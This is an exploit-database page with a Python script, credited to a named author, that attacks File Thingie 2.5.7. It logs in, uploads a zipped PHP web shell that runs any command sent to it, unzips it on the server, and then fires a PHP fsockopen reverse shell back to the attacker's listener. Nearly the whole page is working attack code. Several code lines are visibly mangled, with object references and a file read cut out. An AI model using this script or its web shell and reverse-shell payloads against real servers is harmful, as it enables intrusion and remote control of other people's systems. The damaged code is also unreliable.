File Thingie 2.5.7 Shell Upload

Risk: High
Local: No
Remote: Yes
CWE: CWE-264

#!/usr/bin/python # Exploit Title: File Thingie 2.5.7 - Remote Code Execution (RCE) # Google Dork: N/A # Date: 27th of April, 2023 # Exploit Author: Maurice Fielenbach (grimlockx) - Hexastrike Cybersecurity UG (haftungsbeschränkt) # Software Link: # Version: 2.5.7 # Tested on: N/A # CVE: N/A # Vulnerability originally discovered / published by Cakes # Reference: # Run a local listener on your machine and youre good to go import os import argparse import requests import random import string import zipfile from urllib.parse import urlsplit, urlunsplit, quote class Exploit: def __init__(self, target, username, password, lhost, lport): = target self.username = username self.password = password self.lhost = lhost self.lport = lport def try_login(self) -> bool: self.session = requests.Session() post_body = {"ft_user": f"{self.username}", "ft_pass": f"{self.password}", "act": "dologin"} response =, data=post_body) if response.status_code == 404: print(f"[-] 404 Not Found - The requested resource {} was not found") return False elif response.status_code == 200: if "Invalid username or password" in response.text: print(f"Invalid username or password") return False return True def create_new_folder(self) -> bool: # Generate random string letters = string.ascii_letters self.payload_filename = "".join(random.choice(letters) for i in range(16)) headers = {"Content-Type": "application/x-www-form-urlencoded"} post_body = {f"type": "folder", "newdir": f"{self.payload_filename}", "act": "createdir", "dir": "", "submit" :"Ok"} print(f"[*] Creating new folder /{self.payload_filename}") response =, headers=headers, data=post_body) if f"index.php?dir=/{self.payload_filename}" in response.text: print(f"[+] Created new folder /{self.payload_filename}") return True else: print(f"[-] Could not create new folder /{self.payload_filename}") return False def create_payload(self) -> bool: try: with zipfile.ZipFile(f"{self.payload_filename}.zip", 'w', compression=zipfile.ZIP_DEFLATED) as zip_file: zip_file.writestr(f"{self.payload_filename}.php", "<?php if(isset($_REQUEST[\'cmd\'])){ echo \"<pre>\"; $cmd = ($_REQUEST[\'cmd\']); system($cmd); echo \"</pre>\"; die; }?>") print(f"[+] Zipped payload to {self.payload_filename}.zip") return True except: print(f"[-] Could not create payload to {self.payload_filename}.zip") return False def upload_payload(self) -> bool: # Set up the HTTP headers and data for the request headers = { b'Content-Type': b'multipart/form-data; boundary=---------------------------grimlockx' } post_body = ( '-----------------------------grimlockx\r\n' 'Content-Disposition: form-data; name="localfile-1682513975953"; filename=""\r\n' 'Content-Type: application/octet-stream\r\n\r\n' ) post_body += ( '\r\n-----------------------------grimlockx\r\n' 'Content-Disposition: form-data; name="MAX_FILE_SIZE"\r\n\r\n' '2000000\r\n' '-----------------------------grimlockx\r\n' f'Content-Disposition: form-data; name="localfile"; filename="{self.payload_filename}.zip"\r\n' 'Content-Type: application/zip\r\n\r\n' ) # Read the zip file contents and append them to the data with open(f"{self.payload_filename}.zip", "rb") as f: post_body += ''.join(map(chr, post_body += ( '\r\n-----------------------------grimlockx\r\n' 'Content-Disposition: form-data; name="act"\r\n\r\n' 'upload\r\n' '-----------------------------grimlockx\r\n' 'Content-Disposition: form-data; name="dir"\r\n\r\n' f'/{self.payload_filename}\r\n' '-----------------------------grimlockx\r\n' 'Content-Disposition: form-data; name="submit"\r\n\r\n' 'Upload\r\n' '-----------------------------grimlockx--\r\n' ) print("[*] Uploading payload to the target") response =, headers=headers, data=post_body) if f"<a href=\"./{self.payload_filename}/{self.payload_filename}.zip\" title=\"Show {self.payload_filename}.zip\">{self.payload_filename}.zip</a>" in response.text: print("[+] Uploading payload successful") return True else: print("[-] Uploading payload failed") return False def get_base_url(self) -> str: url_parts = urlsplit( path_parts = url_parts.path.split('/') path_parts.pop() base_url = urlunsplit((url_parts.scheme, url_parts.netloc, '/'.join(path_parts), "", "")) return base_url def unzip_payload(self) -> bool: print("[*] Unzipping payload") headers = {"Content-Type": "application/x-www-form-urlencoded"} post_body = {"newvalue": f"{self.payload_filename}.zip", "file": f"{self.payload_filename}.zip", "dir": f"/{self.payload_filename}", "act": "unzip"} response ="{}", headers=headers, data=post_body) if f"<p class='ok'>{self.payload_filename}.zip unzipped.</p>" in response.text: print("[+] Unzipping payload successful") print(f"[+] You can now execute commands by opening {self.get_base_url()}/{self.payload_filename}/{self.payload_filename}.php?cmd=<command>") return True else: print("[-] Unzipping payload failed") return False def execute_payload(self) -> bool: print("[*] Trying the get a reverse shell") cmd = quote(f"php -r \'$sock=fsockopen(\"{self.lhost}\",{self.lport});system(\"/bin/bash <&3 >&3 2>&3\");\'") print("[*] Executing payload") response = self.session.get(f"{self.get_base_url()}/{self.payload_filename}/{self.payload_filename}.php?cmd={cmd}") print("[+] Exploit complete") return True def cleanup_local_files(self) -> bool: if os.path.exists(f"{self.payload_filename}.zip"): os.remove(f"{self.payload_filename}.zip") print("[+] Cleaned up zipped payload on local machine") return True print("[-] Could not clean up zipped payload on local machine") return False if __name__ == "__main__": parser = argparse.ArgumentParser() parser.add_argument("-t", "--target", dest="target", type=str, required=True, help="Target URL to ft2.php") parser.add_argument("-u", "--username", dest="username", type=str, required=True, help="FileThingie username") parser.add_argument("-p", "--password", dest="password", type=str, required=True, help="FileThingie password") parser.add_argument("-L", "--LHOST", dest="lhost", type=str, required=True, help="Local listener ip") parser.add_argument("-P", "-LPORT", dest="lport", type=int, required=True, help="Local listener port") args = parser.parse_args() exploit = Exploit(, args.username, args.password, args.lhost, args.lport) exploit.try_login() exploit.create_new_folder() exploit.create_payload() exploit.upload_payload() exploit.unzip_payload() exploit.execute_payload() exploit.cleanup_local_files()

Vote for this issue:


Thanks for you vote!


Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2023,


Back to Top